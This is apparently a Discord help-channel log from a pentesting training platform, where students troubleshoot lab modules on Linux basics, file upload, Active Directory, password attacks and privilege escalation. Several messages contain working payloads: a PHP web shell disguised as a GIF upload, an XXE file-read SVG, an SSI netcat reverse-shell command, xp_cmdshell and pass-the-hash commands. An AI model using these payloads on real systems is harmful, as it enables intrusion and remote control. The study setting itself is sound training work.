[cobalt field]

Any internship

[fathom pendant]

No, read and follow #welcome

[sleek moss]

Content-Disposition: form-data; name="uploadFile"; filename="shell.gif.phar"
Content-Type: image/gif

‰GIF87a
<?php system($_REQUEST['cmd']); ?>
-----------------------------392627226623836254432829522750--

its file upload type filters

[fathom pendant]

Also the ascii for the image thing isn't working in discord

[sleek moss]

wdym

its not image it just code php ]

[fathom pendant]

Yes I'm just saying you replied to the wrong person I think

Unless they're helping you with the filters

[fathom pendant]

The character before GIF isn't displaying on my end

[subtle mauve]

Find the percentage of users with a path to GLOBAL ADMINISTRATOR. Submit the number as your answer (to two decimal points, i.e., 11.78).

Can someone help with the above question, I have created multiple cypher's, in neo4j and bloodhound, to get the total number of AD users and Azure users, I have did the math with and without built in accounts or service/special accounts and cannot get the percentage that the question is asking.

[sleek moss]

there is no characters before gif

[glacial raft]

how am i supposed to find these packages

it is clearly not dpkg

[solar grove]

Dude I understood the community string part but
braa public@10.129.238.4:.1.3.6.
1.3.6.* where did he detect the number 1.3.6 in the expression @fathom pendant

[fathom pendant]

That's just the OID structure

[fathom pendant]

You can use dpkg or apt just be wary of additional lines

But 18 is definitely not the answer

[glacial raft]

am i hot or cold?

[fathom pendant]

What section is this?

[novel hinge]

moved file to johns desktop and got the ok that it was "1 file moved" and now i run this and it doesnt work?

[glacial raft]

module 18, section 79

Am i going to add logs as well to the list?

this is what i do

or should i use find?

what difference would it even make

[fathom pendant]

The actual module and section name

[fathom pendant]

Locate won't help you

Dpkg and apt have ways to list installed packages

[fathom pendant]

It's likely the brackets messing with it

[subtle mauve]

Can someone help, I have been on this for a few hours

[glacial raft]

Linu fundamentals: File Descriptors and Redirections

[fathom pendant]

You're looking in the wrong places as I said, dpkg and apt both have ways to list installed packages

https://askubuntu.com/questions/17823/how-to-list-all-installed-packages

[glacial raft]

if im stuck, can i just ask google and chatgpt?

[fathom pendant]

Dpkg and apt are commands

So you can look at the man commands for them

Just always be wary of extra lines

[glacial raft]

alrightt thanks

[fathom pendant]

I just googled and found this

[novel hinge]

am i slow? why doesnt type work?

[fathom pendant]

Try using more?

[glacial raft]

but what was taught in the module, had nothing to do with dpkg or apt

[fathom pendant]

No, but in one of the sections you're given a big list of commands

[novel hinge]

does this mean i didnt do PTT right?

[fathom pendant]

Potentially

[novel hinge]

ughh i hate rdp sessions they are just so slow 😦

[fathom pendant]

Also it's some logical reasoning, what tool do you use to install tools? Then "is there a way to list stuff with it"

[novel hinge]

i got this... but then im unable to open the file on DC1

[glacial raft]

hmmm

[novel hinge]

i changed the file name and moved it so it wouldnt include brackets

at least im able to see \Dc01\ i wasnt able to before

[glacial raft]

hypothetically, if i were to install a new package, it would update in my linu and thus the answer to the question will always be wrong, right?

i did apt list | wc -l.... and got 68787 and was still wrong

[fathom pendant]

Well that lists all apt packages

[fathom pendant]

Read the question: on the target

So it won't change because the target doesn't change

If only there was a way to filter the installed packages

[novel hinge]

marcie how do i know if a PTT worked? is the only way to see if i can open files that have privliges of that user?

i followed step by step from the lesson and no luck opening the file even after getting the ok from doing the PTT

[glacial raft]

i did this as well marcie:

and then added the two results

still wrong

[fathom pendant]

You don't need to add

Dpkg lists stuff but also includes a bunch of extra lines

[fathom pendant]

sometimes it's dumb ¯_(ツ)_/¯

As long as you're still in the same cmd session it should work

[glacial raft]

i dont see any etra lines using this command: dpkg -l

[fathom pendant]

Also it might list things that aren't fully installed

ii is dpkg code for fully installed

[glacial raft]

ok that helps

[fathom pendant]

Also that article I linked earlier has an apt command

[glacial raft]

i solved it

[novel hinge]

I DID IT!!! jeez that took longer than it shouldve thanx marcie

[glacial raft]

grep ii | wc -l

thanks marcie

double help. look at u. 5 stars

[wanton idol]

Hey guys, i am doing the Login Brute Forcing module and section Service Authentication Brute Forcing. When i try to brute force the ssh with hydra it gives me this error [ERROR] target ssh://83.136.225.x:22/ does not support password authentication (method reply 4).

[fathom pendant]

Well, I'm gonna go out on a limb and assume the ssh service you're meant to brute is running on the given port for the target

As that looks like a public ip

[wanton idol]

yeah gave me a port along with the ip. i just thought i will need to brute force the default ssh port since i will also need to brute force ftp

[fathom pendant]

Always scan to be sure

sudo nmap -p[port] ip

[wanton idol]

i did check port 22 is open

[fathom pendant]

Well it looks like it's expecting an rsa key to auth with

Or some other auth mechanism that's not pw

[wanton idol]

its weird bc the module is not providing any rsa key

[fathom pendant]

Also usually the public targets do generally have 22 open

[wanton idol]

just asks to brute force it with the custom wordlist

[fathom pendant]

Then use the given port

[crystal steeple]

any hint on flag2 for linux privesc skills assessment? tried every cred hunting and other info gathering techniques to get barry's creds but found nothing, probably overlooking something..

[wanton idol]

yeah i am trying that atm, taking a while but just in case

[crystal steeple]

|| i found some cloud ssh id_rsa but didn't seem to be ssh key for the user barry ||

[rustic sage]

hi

[wanton idol]

the way i did it was went for root then collect the flags at the end

[steel snow]

hey, excuse me

[crystal steeple]

that doesn't seem the right way to do it lmao

[wanton idol]

i am going based on memory but there is a custom service running on the machine

[steel snow]

guys, i haven't subscribed to the academy and i am very beginner. would i be able to learn anything without subscription? i mean for example by using the main website only without the academy

[dim wolf]

you can do most of the starting point machines, the 20 active machines, the active sherlocks, and the free challenges

[steel snow]

i mean

i saw the subscription in the academy

[wanton idol]

check the users bash history to see where it is

[steel snow]

and the subscription in the main website

the academy's prices is expensive kinda

no?

[crystal steeple]

i only have 1 user and did check it

nothing useful there

[dim wolf]

compared to other certifications, it's on the cheaper side

if you have a student email, you're eligible for the student subscription

[steel snow]

i saw i saw

does carleton university email suffice?

how can i know if my student email works?

should i just register and see if i am eligable?

[dim wolf]

if you already have an htb academy account, you can switch your email

[fathom pendant]

If it's an academic email it should be fine

[dim wolf]

you can try signing up, if it's not eligible, reach out to support

[steel snow]

it's academic

[dim wolf]

they can register your academic email if it isn't already

[steel snow]

thank you!

[fathom pendant]

They register the university

So future students of the same university can access the discount

[wanton idol]

try to find the custom service you need in order to do sum

[crystal steeple]

is this gonna help get directly to root or flag2?

[fathom pendant]

If you're root, you can theoretically read all flags

[wanton idol]

^

[crystal steeple]

if it's directly to root,i'll try to look at it later for test the different approach

[fathom pendant]

¯_(ツ)_/¯

[crystal steeple]

yes but they then the skill assessment should have just one question and one flag

if it's the intended way why would they put 5 flags

[fathom pendant]

The flags are checkpoints

On your journey

Path to root could have you run into the flags

[wanton idol]

i couldnt get to flag2 until i became root

[fathom pendant]

Likely a method you overlooked

But hey root don't care

[wanton idol]

yeah thats what i was thinking but i got root LMAO

[crystal steeple]

that's what i'm trying to find, you not always gonna have a direct path to root

[fathom pendant]

The point is flag2 isn't necessary for root

[crystal steeple]

yes , but the method to find is important to know, maybe it's a method i'll encounter in the exam or so lol, at least from the questions , that's what the way they want us to take

don't wanna overlook what im overlooking rn in the exam lol

nvm found it lol

im dumb

[steel snow]

guys, does paying for the academy give me vip? in the other website

[fathom pendant]

No

[steel snow]

thank you!

[minor stag]

Where on here do I go to ask specific questions about tools and general pentesting processes?

[gray merlin]

Try #red-team or #1024429874246590575

[uncut carbon]

Hey gang, I’m on the windows attacks and defense course I’m in the kerbroasting module. I ran .\Rubeus.exe kerberoast /outfile:spn.txt it worked I see the administrator info. How do I transfer from this windows machine with no internet to my kali Linux?

[dim wolf]

you're connected directly to the windows box. try hosting an upload server on your kali box, and upload the file to that server from the windows box

[crimson moon]

On information gathering web edition path “Active subdomain enumeration” module eventhough I had put in place the target_IP on etc/hosts file with host name inlanefreight.htb when I query NS lookup for nameservers it gives me NXdomain why is that?

[dim wolf]

if you're on VMware, simply copy the hash and paste into a text file

[crimson moon]

nslookup -type=NS inlanefreight.htb

[dim wolf]

now that i think about it, you should just be able to copy the text in the RDP session and paste it into a text file

[real blade]

hello guys
i am stuck in file upload module skill assessment for days could anyone help me? I can't get the upload.php because the server reponding with a base64 masseges
i use this way
some bytes from a real image + this payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/contact/upload.php"> ]>
<svg>&xxe;</svg>

filename = images.svg.png
Content-Type: image/svg+xml

[shut quest]

Have you tried to decode the base64? Quick glance at your payload, it looks similar to my notes.

[real blade]

yes and it looks exactly as the what i send

[shut quest]

I don't have an =/contact... just =filenaname... also used a different extension than you, not sure if .svg.png will work as you expect. Would look into potentially different php extensions.

[real blade]

is there another way to get the source code of .php file that modifying a .svg image ?

[shut quest]

I don't think you have to mess with that, just play around with some other names than .svg. as taught in that module if I remember correctly .

[real blade]

ok i will try, thanks for responding 👍

[sick frost]

can anyone help me with the Attackting common services module hard challenge? The error I'm receiving is

||1> EXECUTE("EXECUTE LOGIN AS 'sa'; xp_cmdshell 'whoami'" ) AT [WINSRV02\SQLEXPRESS]
2> go
Msg 7437, Level 16, State 1, Server WIN-HARD\SQLEXPRESS, Line 1
Linked servers cannot be used under impersonation without a mapping for the impersonated login.||

||I'm impersonating user john||

[stone roost]

NMAP: Firewall Evasion: Using Decoys
A critical point mentioned is that the decoys must be active; however, we have no control over the random IP addresses generated if we are using RND. We cannot make sure that the decoys are active. Plus, the ISP/routers filter the spoofed packets.
I understand that decoys can be used only if we have multiple VPS running, and instead of random, we can specify the IP addresses.
I wanted to clarify: Am I missing something?

[shut quest]

Try just executing login as the person you're trying to impersonate and build up from there

[minor pulsar]

Hiii, i have problems with te lab of documentation and reporting-skills, i dont have idea how resolve the machine, can you help me ? 😦

[brisk hemlock]

if any body here know how to use haproxy. I'm facing a few problems...

[sick frost]

I don’t have the credentials for that user. I’ll try to find the credentials for him and see.

[cloud urchin]

dm me

gubarz is correct

[rustic sage]

Yeo guys

so I got a question in the pivoting moduel, section rdp socksoverrdp I am trying to regsvr32.exe a dll, buttttttttt, it keeps deleting it after giving me an error, I have made sure that the defender and antivirus is off

this is the error

now it says the module couldn't be found

and then it gets deleted

[wanton idol]

yeah the anti virus is still on my guy

[rustic sage]

it is not tho

[wanton idol]

i just completed that module rn llol

[rustic sage]

i checked it

[wanton idol]

can you screen shot it that it is off just to confirm

[rustic sage]

okay there was a small option that was on but now I get a different error

sad times

[wanton idol]

whats the error this time lol

run it as administrator

just in case

run the command line as administrator and the command you are running

[rustic sage]

Yeah I figured

[runic hill]

PoC and Patching - Validation Logic Disparity Can someone help me? I have no idea about this at all

[rustic sage]

can I dm you? I got a question

[stone glen]

Hi, need some help with the module "Intermediate Network Traffic Analysis" skill assessment portion. Can't seem to get the answer right even when using the provided options. Answer format: "DNS Flooding", "DNS Amplification", "DNS Tunneling" or Answer format: "ICMP Flooding", "ICMP Tunneling", "ICMP SMURF Attack"

[wanton idol]

yeah

[quick crane]

bro do you solved this

[frail sorrel]

https://www.semperis.com/blog/new-attack-paths-as-requested-sts/

kerberoast without pre-authenticate

i have some questions about it
How are these types of attacks requesting TGS tickets? The session key in AS-REP is encrypted using the user's key, while requesting TGS tickets requires encrypting the timestamp using the session key. If we don't know the user's password, how is this attack successfully executed? Brute force the key?

[quick crane]

https://academy.hackthebox.com/module/28/section/745,For the first three questions in this part, I found the geographical location, but I don’t know why the answer is still wrong. If anyone has solved this part, can you send me a private message? Thank you in advance.

[frail sorrel]

How are these types of attacks requesting TGS tickets? The session key in AS-REP is encrypted using the user's key, while requesting TGS tickets requires encrypting the timestamp using the session key. If we don't know the user's password, how is this attack successfully executed? Brute force the key?

[next bronze]

it's literally explained in the article you linked

When a ticket is requested without pre-authentication, the result still includes an encrypted part. This encrypted part is encrypted with the credential key used for authentication and contains the session key for the ticket included within the reply. This is the encrypted data used in the ASREPRoast attack by Will Schroeder. The resulting TGT is usable only with access to the requesting accounts key, since the TGT session key is required.

However, for Kerberoasting, access to the session key is not required. Only the resulting ST—or more accurately, the encrypted part of the ST, which is not secured with the requesting accounts key—is required. Therefore, if any account is configured to not require pre-authentication, it is possible to Kerberoast without any credentials.

also, off topic, this does not relate to any modules or academy

[frail sorrel]

it's part of the module 'attack kerberos'

[frail sorrel]

thanks,
my poor English led me to misunderstand the original text's meaning.

[quick crane]

I solved this,if anyone need help please dm me

[crimson moon]

Guys what am I doing wrong ?

[pseudo kiln]

regarding notetaking for academy modules, what do you guys think about taking notes by hand for a module first (for retaining the information better) and then transcribing those notes to Obsidian (for finding the information better when needed) ?

[analog dock]

Just do it in obsidian immediately

[pseudo kiln]

thing is, if I don't type it by hand, I don't really retain the concepts so well

[analog dock]

Then why ask lol

[pseudo kiln]

just wondering if anyone else has a similar strategy 🤷‍♂️

[quick crane]

you can dm me

[quick crane]

If you understand it, you will rarely need notes

[pseudo kiln]

I expect you would need at least a digital methodolgy or runbook, so you don't waste time during the exam

[quick crane]

yeah this is a good idea

[fringe urchin]

just because you typed the it in /etc/hosts it doesnt mean nslookup will follow it. nslookup doesnt know it should use the <IP> of the DNS server target if you dont specify

and im pretty sure the questions you do there, you dont need to add anything to etc/hosts

you just missing the IP since nslookup takes the default one and well doesnt work with the default one (i think the default is1.1.1.1)

[fathom pendant]

You need to add the ip, .htb isn't a valid tld so public nameservers won't resolve it

nslookup [options] domain nameserver/ip

[fringe urchin]

[frail thicket]

Can someone help me with this, please? I am not able to get the auth token after re-signing the assertion.

Yes, I completed. Did you use the python script provided in the module to brute force the token?

[mint lodge]

https://academy.hackthebox.com/module/145/section/1303
need help here im pasting the payload:

<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

with the right ip and port i've opened an nc connection on my end and not getting the reverse shell am i doing something wrong?

[rich pebble]

Guys let’s connect please like this post also https://www.linkedin.com/posts/imayankchawla_hackachino-hackathon-codingchallenge-activity-7182328330128355328-nmcG?utm_source=share&utm_medium=member_ios

[mint lodge]

why are you posting that here?

[scenic crest]

Hello everyone, can anyone help me solve Broken Authentication Predictable Reset Token, question 1? I don't know what's wrong with the script. I don't know if the time is not set correctly, and I haven't been able to get the correct token. Can anyone help me figure it out?

[next bronze]

try some other revshells maybe

[next bronze]

#modules message

[mint lodge]

that is the only one that is reccomended in the module but ill look online

[brazen saffron]

Someone please 😭.

[scenic crest]

Yes, I converted the UTC time and generated 2000 tokens, but none of them were correct. I tried many times and couldn't find the problem. Can you help me take a look?

[next bronze]

is the string you used to generate the hash correct

[soft cedar]

use it to read the source code of the upload page.

[brazen saffron]

I did.

I know how it's imported etc.

I know the dir & the name of file.

Just I tried to use some payloads using ||XXE|| vuln but the server was not answering or not giving any info.

To get the flag.

I found ||XSS|| as well.

Tried some payloads and nothing.

[astral inlet]

rdp sucks again

[brazen saffron]

I was trying to find an extension for the webshell because I tried to access to it from URL but "DId not found", and after looking at code I g uess the extension was blocked, so I was trying to run Intruder to find a correct extension and... "Error" after reseting a lot of times the lab, restarted my Burp... So I don't know what do.

[astral inlet]

i am so pissed of the performance of the academy

and yes i wrote to the support

[soft cedar]

you don't need all that.
aren't you doing file upload?

[soft cedar]

it sucks when doing some modules, like Windows P.E

[scenic crest]

Now I'm just not sure if the time conversion is correct or not. Don't know how to be sure.

[astral inlet]

guess where i am at 🙂

[next bronze]

you can just use a timezone converter to check

[acoustic owl]

Performance is a question of various factors.
Server performance and internal network are things that HTB can influence.
Your PC and your internal network are things that you can influence.
Everything in between, neither you nor HTB can influence

[north bramble]

Hello

I am stuck on PtT with Linux in the password attacks module.
the question is
Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory.

I found the kt file and got an aes256 hash from it

what do I do now? I tried but couldnt crack it with hashcat

[astral inlet]

true i got 100 mbit+ and a brand new XMG notebook

pings are 1000 + sometimes

EU vpn is slower then US , i am from EU

[soft cedar]

^

[north bramble]

Mine disconnected 3 times last night. twice within a span of 1 minute

[soft cedar]

afaik, there is more than one kt in there directory.

you are cracking the wrong one.

[north bramble]

um ok

[acoustic owl]

Yes, but if you are at home in the Middle East, Africa or Asia, for example, then the defective submarine cables could slow you down massively

[brazen saffron]

I am trying...

[astral inlet]

i am from germany

[brazen saffron]

I know the directory but when I am trying to find a valid extension, Burp is saying for all my requests that there is an error, I just used §.ext§ in Intruder.

[mint lodge]

unrelated question but how did you get the clown thing around your profile?

[scenic crest]

dt_obj = datetime.strptime(time_str_with_space, "%Y-%m-%d %I:%M:%S %p")
utc_dt_obj = dt_obj.replace(tzinfo=timezone.utc)
milliseconds_timestamp = int(utc_dt_obj.timestamp() * 1000)
print("milliseconds_timestamp:", milliseconds_timestamp)

[acoustic owl]

That is strange. Check the Routing

Im am from Switzerland

[astral inlet]

i use my own kali

[brazen saffron]

Discord lootbocks.

[astral inlet]

in a vm

[soft cedar]

what error are you getting exactly, you are prolly fuzzing with the wrong extension format.
if you are fuzzing §.ext§, make sure the extensions are also in a .ext format..

[scenic crest]

Is that so?

[astral inlet]

i'll try EU 1 vpn again but its annoying

[north bramble]

Im in India. maybe thats why its bad for me.
I have really good wifi and a rtx 3070 + Ryzen 9 gaming laptop

[brazen saffron]

I sent you SS in DMs.

[soft cedar]

27 ms must be nice xd.

[north bramble]

Hey that is the only one. is it possible to just use the ticket instead of cracking?

[next bronze]

should check it yourself

[scenic crest]

ok

[scenic crest]

Thank you!

[mint lodge]

how an i get them?

[acoustic owl]

How does your provider route the data to the US, EU?

[soft cedar]

did you go into the directory?

[next bronze]

it's an april fools thing, you can't get it anymore

[acoustic owl]

How does your provider route the data?
If the routing is crap, a high-speed connection is of no use at all

[mint lodge]

feelsbadman

[north bramble]

Bro May I DM you if you are done with this part? I can send you the ss of my progress

[astral inlet]

64 bytes from 10.129.43.13: icmp_seq=1 ttl=127 time=1746 ms
64 bytes from 10.129.43.13: icmp_seq=2 ttl=127 time=790 ms
64 bytes from 10.129.43.13: icmp_seq=3 ttl=127 time=1955 ms
64 bytes from 10.129.43.13: icmp_seq=4 ttl=127 time=1000 ms
64 bytes from 10.129.43.13: icmp_seq=5 ttl=127 time=15.7 ms
64 bytes from 10.129.43.13: icmp_seq=6 ttl=127 time=1149 ms
64 bytes from 10.129.43.13: icmp_seq=7 ttl=127 time=203 ms
64 bytes from 10.129.43.13: icmp_seq=8 ttl=127 time=1370 ms
64 bytes from 10.129.43.13: icmp_seq=9 ttl=127 time=413 ms
64 bytes from 10.129.43.13: icmp_seq=10 ttl=127 time=1572 ms
64 bytes from 10.129.43.13: icmp_seq=11 ttl=127 time=621 ms

[soft cedar]

ok

[north bramble]

ok thanks

[astral inlet]

EU VPN 1 TCP

[acoustic owl]

Do a traceroute

[astral inlet]

ok to dm you @acoustic owl ?

[acoustic owl]

sure

[harsh wren]

i have problem with the lab at the end of containers-linux privilege escalation module

[soft cedar]

can you be more specific?

[harsh wren]

i reached the last point and when i execute (lxc exec privesc /bin/bash)

it gives me error command not found

[soft cedar]

specify another shell other than bash

like sh

[harsh wren]

mmm , can you tell me why listeing /bin from regurals user is different from lxc exec privesc ls /bin

[rough orchid]

Hello. I would like to get a subscription, but recurly.com is not accepting PayPal and I can't add my credit card. Does anyone having similar issues?

[soft cedar]

I mean /bin/sh.

[harsh wren]

i know that , but my question is what is lxc exec privesc ls /bin

listing

[soft cedar]

I dont get you.

[harsh wren]

no problem , thanks for your help , i got the flag

[quick crane]

anyone need some module help also can dm me

[acoustic owl]

Reach out to support

[shadow cradle]

Hi any one is using the VPN instead of the PWNBox? I'm having problem since the exploit from MSF constantly fail while in the PWNBox are working perfectly. VNP is working since I can scan, fuzz, etc . Could it be the VPN's delay to make them fail?

[quick crane]

section:Domain Structure
question:What is the hosting provider for the inlanefreight.com domain?``` why I use whois to check this it not have answer,I found it about Amazon.if anyone finished it please help me.

[brittle arch]

Guys I am stuck at Protected Files module in Password attacks , The question is asking for Kira's password which I believe I got in previous modules but the problem is I had a long break and I am continuing the modules , Can anyone guide me in which module I can find Kira's Password?

[acoustic owl]

You are looking for the hosting provider. In other words, where the website is hosted

[quick crane]

I think I have a rough idea, but to prevent spoilers I won't reveal it here

[toxic apex]

does someone here know if the password reset / set password not working in "Advanced XSS and CSRF Exploitation" Is intentional or not?

specifically section "Launching Attacks from the Victim's Session"

[astral meteor]

Are you working on a new module in HTB?

or how?

[placid edge]

anyone i can ask for a nudge on "LDAP - Data Exfiltration & Blind Exploitation"
i have a script, but cant seem to get it working
idk if its my coding abilities or whatnot

[acoustic owl]

I did not solve it using the reset function

[placid edge]

can i post my script here @acoustic owl

?

most likely something random im too stupid to see lol

[toxic apex]

@acoustic owl thanks

[placid edge]

doesnt even work so its not like a exploit

[acoustic owl]

So as not to spoil anything, send it to me via dm

which module?

[placid edge]

dmed you

[quick crane]

whic module

[placid edge]

Injection attacks

[quick crane]

If you not solved you can dm

For the module you're talking about,just make use of what's taught

[rough orchid]

👍

[placid edge]

i just manged to solve it

but thanks!

[misty solar]

where is channel for pro labs?

[real blade]

hello guys
I am stuck in skill assessment of file upload module
the issue that i can't find the file that I am uploading (it's uploaded successfully but I could not find it)

[neon hedge]

any mod or pro here guys??

i need help 😭

and im also lost in the channels

[deep bay]

http://x.x.x.x:port/contact/user_feedback_submissions/240306_shell.phar.jpeg

[half stag]

which section??

[real blade]

should I name the file like this 240306_shell.phar.jpeg ?

[real blade]

skills assessment - file upload attacks

[deep bay]

change "240306" to "240406"

"shell.phar.jpeg" is the payload that you uploaded

[real blade]

yes

[real blade]

still does not work
I use exiftool to include a php payload inside a 240406_shell.jpeg then upload it

[crystal steeple]

what doesn't work exactly?

can u show the error you getting

[dim wolf]

ask your question and someone may be able to help

[real blade]

404 not found

[deep bay]

when you upload a file through upload.php, it will automatically add "YYMMDD" as a prefix. Therefore if you uploaded a shell named "shell.phar.jpeg", then the actual name on that server should be "240406_shell.phar.jpeg"

[crystal steeple]

this should work for you @real blade , assuming you didn't miss any steps

[neon hedge]

well, i got scammed by the hacked id of an old good friend and couldnt understand and now my id got hacked

there's so many important things and so many memories (4 years to be exact)

i asked discord support and they couldnt help 😭

[real blade]

thank you so much i got it

[real blade]

yes it works

[dim wolf]

well we certainly cannot help with that. that's a discord issue, reach out to support again.

[real blade]

may i ask you a question plz ?
@deep bay @crystal steeple
how did you figure it out that the server is adding "YYMMDD"?

[crystal steeple]

it's was in the source code

[real blade]

ohh, i found it, i was reading it step by step but i did not notice it. anyway thank you for your help

[acoustic owl]

Read #rules
We can't do anything for you

[twin lion]

i'm on the password attacks trying to do the exercise for the pass the ticket attack for linux. i spent a while reading through this shit and now I cant even ssh in.

Question: Connect to the target machine using SSH to the port TCP/2222 and the provided credentials. Read the flag in David's home directory.

When running a port scan I didn't see port 2222, but after connecting with evil-winrm It opens up, I did nc -v and even saw this banner:

inlanefreight.htb [10.129.146.14] 2222 (?) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5

Despite all of this when I run

ssh [e-mail] -p 2222

And use "Password2", it denys the password, i've tried using Remmina as well and still nothing. Using xfreerdp instead of evil-winrm doesn't change anything either

I've also tried ssh with the ip and not the domain, the domain is in my /etc/hosts

[soft cedar]

first of all you didnt specify the IP

ssh [e-mail]@IP -p 2222

david@... is just the username.

you can't see the port from the nmap scan because of the port forwarding mechanism in place.

[half stag]

[e-mail] is the username it self

[twin lion]

🤦‍♂️ thank you

[half stag]

btw @soft cedar mentioned it before me

[twin lion]

I see I just looked at it on my phone

[zinc stratus]

Hi guys anyone here to learn cybersecurity together !!

[topaz sable]

Guys when will I be able to message on #general ?

[topaz sable]

What's your plan to learn

[pseudo juniper]

Thank you so much. You're a life saver!

[fathom pendant]

read and follow #welcome

[remote latch]

trial & error

[plucky latch]

Is it just me or has the VMs for HTBA been pretty unstable lately over multiple modules

[potent thorn]

Can anyone help me with the hard lab for password attacks?

I have the vhd decrypted and mounted to my machine, but in trying to use secretsdump.py i still cant get it to work against the SAM and SYSTEM files in the screenshot here. Any tips?

the sam and system files seem to not be in a format that secretsdump likes, but i dunno what to do to get them

[fathom pendant]

wdym not in a format secretsdump likes? they work fine for me

you just have to specify LOCAL instead of remote

[potent thorn]

i dunno, ive copied them from the mount then tried to use secrets dump but it wont work

[fathom pendant]

"it won't work"

gonna need to see your command

also you don't need to be root

get out of that habit of su to root

[potent thorn]

yh it was just for the mounting bits, but likely i did something less than optimal as i had never done that type of thing in linux before

[fathom pendant]

even still

sudo exists for when you need root perms

otherwise: please share your command you tried and the error you got

[potent thorn]

oh dear, i got it to work now.

i executed secretsdump in the mount directory rather than copying the files out. or i was just entering the command wrong at some point. Thanks @fathom pendant . as soon as i ask for help i get it haha

getting a weird error when downloading resources on the pwn box?

--2024-04-06 19:55:25--  https://academy.hackthebox.com/storage/resources/Password-Attacks.zip
Resolving academy.hackthebox.com (academy.hackthebox.com)... 104.18.21.126, 104.18.20.126, 2606:4700::6812:147e, ...
Connecting to academy.hackthebox.com (academy.hackthebox.com)|104.18.21.126|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2024-04-06 19:55:26 ERROR 403: Forbidden.```

[twin lion]

download it through ur browser

i get that error when I do it on my host

[zenith token]

Can I ask here if I have a question regarding this module?

I just cant find the *.pcap and I was wondering if someone knows where to find it. Its only mentioned that I should find it in the optional resources. But nothing under /opt

Ah nevermind... I didn't realize that there was a resources tab

[cloud urchin]

just completed linux privesc. is it normal to get flags 2, 3, 4 before 1 lol

[patent oak]

Dude! Where on earth is the password for tca

[cloud urchin]

You can DM me

[patent oak]

Thanks but I just found it 🎉

Congrats on solving it!

[cloud urchin]

awesome!

[cloud urchin]

<@&861185840277487616>

[timber hatch]

in the module WINDOWS PRIVILEGE ESCALATION chapter SeImpersonate and SeAssignPrimaryToken, i enabled cmdshell, but after i enabled i receive no output with xp_cmdshell whoami.
is it normal here that i cannot straight follow the module or is it a bug?

bug

[novel finch]

Heeey everyody! I'm stuck (again)! I'm trying to do "Firewall and IDS/IPS Evasion - Easy Lab" as part of the nmap module and I cannot for the life of me get the OS detected

Tried the internet and chatGPT

I get as far as a fingerprint or a close guesstimate by nmap but none of them seem to be correct

[harsh wren]

can any one help me the assessment of logrotate in linux privilege escalation module

[fathom pendant]

-O and maybe the running http port can be helpful

[novel finch]

I did that of course, and I'm doing it again just in case but I swear it keeps coming up with different answers 🥲

[fathom pendant]

well you can make an educated guess based off of visiting the webpage

[echo forge]

I'm having the same problem, can't get the flag of the user admin. Can I dm you?

[meager thicket]

https://discord.com/quests/1218004004206804992

[fathom pendant]

Thar looks self explanatory

And discord related, not htb academy related

[novel finch]

It jsut gives me a fingerprint 😢

I think it's something to do with not pinging the firewalls so I'm using the flags -Pn -sS -O

But yeah, no exact OS

[robust quartz]

hello everyone, I want to ask about skill assessment II on active directory enumeration and attacks. why are the responder results on Linux hosts (foothold) and Windows different? On the Windows host, we can get new credentials, namely CT***. Why could that happen?

[covert trail]

Has anyone else found the Windows boxes from the ACTIVE DIRECTORY ENUMERATION & ATTACKS module to be unusable? I have to restart/change regions at least 5 times and even then it doesn't work sometimes...

[deep bay]

I forgot how I got the answer, but it looks like an information from other service through nmap (might be port80? can't remember). Sometimes we could still learning knowledge from the answer. /spoiler Ubuntu

[novel finch]

Haha, thank you! I'll look through the docs and see what I can find on that then, thank you

Good night all, thanks for the helpIf I'm stuck tomorrow you wl all know about it cause I'll be here crying and complaining

[loud dagger]

is it worth it to do the basic toolset path before the penetration tester path?

[dim wolf]

most of the modules in that path are already in the pentester path

the hashcat module is very useful though

you may elect to do that module in the middle of the pentester path

not required though

[loud dagger]

noted, thanks

[harsh wren]

...

[gritty breach]

can anyone help with the skill assessment for the Server-side attack module

[wanton idol]

what exactly do u need help with?

[half stag]

Try running the hash, on the whole subnet

like "crackmapexec smb 10.10.10.0/24 -u administrator -H 928249089898d903"

no that was just an example

use the hash you got

[compact halo]

Ok thanks, I will try. Tried to use the hash to get to evil-winrm on MS01, but no able to connect

[half stag]

youre on skill assesment 2?

[compact halo]

yes

[compact halo]

Q8 -

I know the hash is good because I can evil-winrm into the SQL01, but not MS01

[narrow oar]

Is it best to learn the defense modules first such as soc analyst path as entry level before learning the pentesting stuff?

[half stag]

check your dm

[compact halo]

Thnaks for that advice. I will check it out.

[compact halo]

Don't see anything. Cheching again

[half stag]

did you find any other users ntlm hash except the administrator??

other than that

[ocean night]

Take it to DM please.

This is a Tier 2 module, so avoid publicly posting details regarding its content.

[half stag]

sure

[ocean night]

Thank you

[severe matrix]

I just knocked down the AD Skills Assessment 1 and boy did that do a good job of reinforcing the concepts. Super good lab.

[wanton idol]

i mean its good to learn how to detect stuff as the defense but its good as well to know what and how the tools you use to hack into thing will get detected. its a good to know but not necessary to do. if you want to learn mainly pentest then i suggest the pentest route first

[narrow oar]

@wanton idol I just keep hearing how pentesting is not a entry level so I was gonna learn the defense modules to make it easier for me to get a entry level possible such SOC analyst then while working as SOC analyst learn the HTB CPTS path and then after gaining experience as SOC forwhile then pivot and apply to pentester jobs and once im hired then continue with more advance pentesting modules.

[wanton idol]

yeah man thats one route to go get into pentester/cyber field goodluck with your journey!

[narrow oar]

Thank you so much! Was that the route you took too or are you just doing pentesting? I did the networking, Linux, and bash scripting modules so next it was either do the EJPT cert while doing HTB pentest modules then do the CPTS path or do the path like I stated earlier.

[wanton idol]

Lets take it to dms, this is mainly help on modules lol i dont wanna overstep whats intended for this channel

[narrow oar]

oh sure no problem!

[fickle fiber]

can someone help me with this question on the SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe) module?

what's the answer?

[bold rivet]

Can't I'm new

[fathom pendant]

is it YYYY-DD-MM ?

[fickle fiber]

I've tried all formats 😅

[fathom pendant]

then it's likely your answer is wrong

i haven't done this module

[fickle fiber]

yep I've tried every single date I could extract

so I'm clearly wrong but I have no clue

[dim wolf]

the more i look at this question the more confused i get

i've done this module and i'm checking the answer i have again

ok

i think i have the rationale for this question

